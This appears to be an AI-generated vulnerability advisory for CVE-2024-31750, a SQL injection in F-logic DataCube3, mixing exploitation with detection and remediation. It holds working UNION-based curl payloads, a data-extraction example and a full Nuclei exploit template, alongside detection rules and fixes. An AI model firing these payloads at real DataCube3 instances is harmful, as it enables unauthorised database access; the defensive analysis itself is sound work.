CVE-2024-31750

Executive Summary

CVE-2024-31750 is a critical SQL injection vulnerability discovered in F-logic DataCube3 version 1.0. The flaw resides in the /admin/pr_monitor/getting_index_data.php endpoint, where the req_id parameter is not properly sanitized before being used in a SQL query. This allows a remote, unauthenticated attacker to inject arbitrary SQL commands, leading to the extraction or modification of sensitive database information. The vulnerability has a public proof-of-concept (PoC) exploit and a verified Nuclei template, indicating active exploitation risk. No official patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability affects a proprietary application (F-logic DataCube3) and is not associated with any open-source package manager (NPM, PyPI, Go, Ruby). Therefore, no supply chain package security analysis is applicable.

CVSS Breakdown & Threat Level

The CVSS score is not officially assigned (0.0), but based on the vulnerability characteristics, a realistic vector is provided below.

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Potential to modify or delete data.
• Availability (A): High (H) – Potential to disrupt database operations.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a severe threat. The public availability of a Nuclei template and PoC further elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the req_id parameter of the getting_index_data.php script. The application fails to sanitize or parameterize user input before constructing a SQL query.

Vulnerable Code Flow:

1. The application receives a POST request to /admin/pr_monitor/getting_index_data.php.
2. The req_id parameter is extracted from the request body.
3. This value is directly concatenated into a SQL query without any sanitization or prepared statements.
4. An attacker can inject SQL syntax by closing the existing query and appending malicious SQL commands.

Exploit Mechanics: The provided Nuclei template demonstrates a UNION-based SQL injection. The payload:

req_id=1) UNION ALL SELECT CHAR(113,120,107,107,113)||CHAR(117,78,85,110,71,119,86,122,111,101,81,87,68,72,80,107,90,112,111,110,120,72,78,70,76,99,100,81,80,77,89,75,86,65,105,99,74,67,122,107)||CHAR(113,106,120,122,113),NULL,NULL-- sTqG

• 1) closes the original WHERE clause.
• UNION ALL SELECT ... injects a new SELECT statement.
• CHAR(...) functions are used to construct a unique string (qxkkquNUnGwVzoeQWDHPkZponxHNFLcdQPMYKVAicJCzkqjxzq) that is returned in the response, confirming the injection.
• -- sTqG comments out the rest of the original query.

The matcher checks for the presence of this unique string in the response body, confirming successful exploitation.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is based on secure coding best practices.

Vulnerable Code (Conceptual):

<?php
$req_id = $_POST['req_id'];
$query = "SELECT * FROM data WHERE id = " . $req_id;
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual):

<?php
$req_id = $_POST['req_id'];
$stmt = $conn->prepare("SELECT * FROM data WHERE id = ?");
$stmt->bind_param("i", $req_id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of F-logic DataCube3 v1.0 (e.g., using a Docker container or a local VM).
2. Ensure the /admin/pr_monitor/getting_index_data.php endpoint is accessible.

Exploitation Steps:

1. Manual Exploitation:

   • Send a POST request to the vulnerable endpoint with a malicious req_id parameter.
   • Example using curl:

     curl -X POST http://target/admin/pr_monitor/getting_index_data.php \
       -d "req_id=1) UNION ALL SELECT 1,2,3-- -"
     

   • If successful, the response will contain the injected data (e.g., 1,2,3).

2. Automated Exploitation (Nuclei):

   • Use the provided Nuclei template to scan for the vulnerability.
   • Command:

     nuclei -t CVE-2024-31750.yaml -u http://target
     

3. Data Extraction:

   • Use UNION-based injection to extract database names, table names, and column names.
   • Example to extract database version:

     curl -X POST http://target/admin/pr_monitor/getting_index_data.php \
       -d "req_id=1) UNION ALL SELECT @@version,2,3-- -"
     

Blue Team (Defensive)

Detection Steps:

1. Monitor Web Logs: Look for POST requests to /admin/pr_monitor/getting_index_data.php containing suspicious patterns like UNION, SELECT, CHAR(, --, or #.
2. Network Traffic Analysis: Inspect HTTP POST bodies for SQL keywords and unusual character sequences.
3. Database Monitoring: Enable query logging to detect anomalous SQL queries originating from the web application.

Hunting Queries:

• Splunk Search:

  index=web sourcetype=access_combined
  uri_path="/admin/pr_monitor/getting_index_data.php"
  form_data=*UNION* OR form_data=*SELECT* OR form_data=*CHAR(*
  | table _time, src_ip, uri, form_data
  

• ELK Query:

  http.request.body.content:(*UNION* OR *SELECT* OR *CHAR(*)
  AND http.request.uri.path:"/admin/pr_monitor/getting_index_data.php"
  

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /admin/pr_monitor/getting_index_data.php with req_id parameter containing SQL keywords.
  • HTTP responses containing unique strings like qxkkquNUnGwVzoeQWDHPkZponxHNFLcdQPMYKVAicJCzkqjxzq (from the PoC).
• File IOCs:
  • Suspicious entries in web server access logs (e.g., Apache access.log).
• Database IOCs:
  • Unexpected SQL queries in database logs, especially UNION SELECT statements.

Detection Engineering

YARA Rule

rule CVE_2024_31750_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-31750 in F-logic DataCube3"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-31750"
    strings:
        $s1 = "req_id="
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "CHAR(" nocase
        $s5 = "--" nocase
        $s6 = "/admin/pr_monitor/getting_index_data.php"
    condition:
        all of ($s1, $s6) and 1 of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-31750 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against F-logic DataCube3 via req_id parameter
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query: "/admin/pr_monitor/getting_index_data.php"
        cs-method: "POST"
        cs-uri-query|contains:
            - "req_id="
    keywords:
        - "UNION"
        - "SELECT"
        - "CHAR("
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of UNION in application logic (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-31750 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/pr_monitor/getting_index_data.php";
    http_uri;
    content:"req_id=";
    http_client_body;
    pcre:"/(UNION|SELECT|CHAR\(|--)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2024-31750

info:
  name: F-logic DataCube3 - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: |
    SQL injection vulnerability in f-logic datacube3 v.1.0 allows a remote attacker to obtain sensitive information via the req_id parameter.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially extracting or modifying sensitive database information.
  remediation: |
    Update F-logic DataCube3 to a version that patches the SQL injection vulnerability.
  reference:
    - https://github.com/lampSEC/semcms/blob/main/datacube3.md
    - https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/DataCube3%20getting_index_data.php%20SQL%20%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31750
    - https://github.com/wjlin0/poc-doc
    - https://github.com/wy876/POC
  classification:
    cve-id: CVE-2024-31750
    epss-score: 0.93636
    epss-percentile: 0.99843
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="DataCube3"
  tags: cve,cve2024,datacube3,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        req_id=1) UNION ALL SELECT CHAR(113,120,107,107,113)||CHAR(117,78,85,110,71,119,86,122,111,101,81,87,68,72,80,107,90,112,111,110,120,72,78,70,76,99,100,81,80,77,89,75,86,65,105,99,74,67,122,107)||CHAR(113,106,120,122,113),NULL,NULL-- sTqG

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "qxkkquNUnGwVzoeQWDHPkZponxHNFLcdQPMYKVAicJCzkqjxzq")'
          - 'contains(header, "application/json")'
          - 'status_code==200'
        condition: and
# digest: 4b0a00483046022100c47733453af3b1c3a25a40fba0668ed7f82afeb5e5c00e1f7902ba3936526c35022100cf2124efe589a5b2dfe3a1d1eab1daf8ab62ca19ce7beab6733347b6f429f4d3:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If possible, take the vulnerable DataCube3 instance offline or restrict network access to trusted IPs only.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing SQL injection patterns (e.g., UNION, SELECT, CHAR() in the req_id parameter.
3. Input Validation: Implement strict input validation on the server side, allowing only numeric values for req_id.

Long-Term Fix:

1. Vendor Patch: Contact F-logic for an official patch. If unavailable, consider migrating to a different, actively maintained solution.
2. Code Refactoring: Rewrite the vulnerable code to use prepared statements or parameterized queries.
3. Security Audit: Conduct a full security audit of the application to identify and fix other potential vulnerabilities.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

{/* [Security Hash: 522D63D2A497BA291515E39E] */}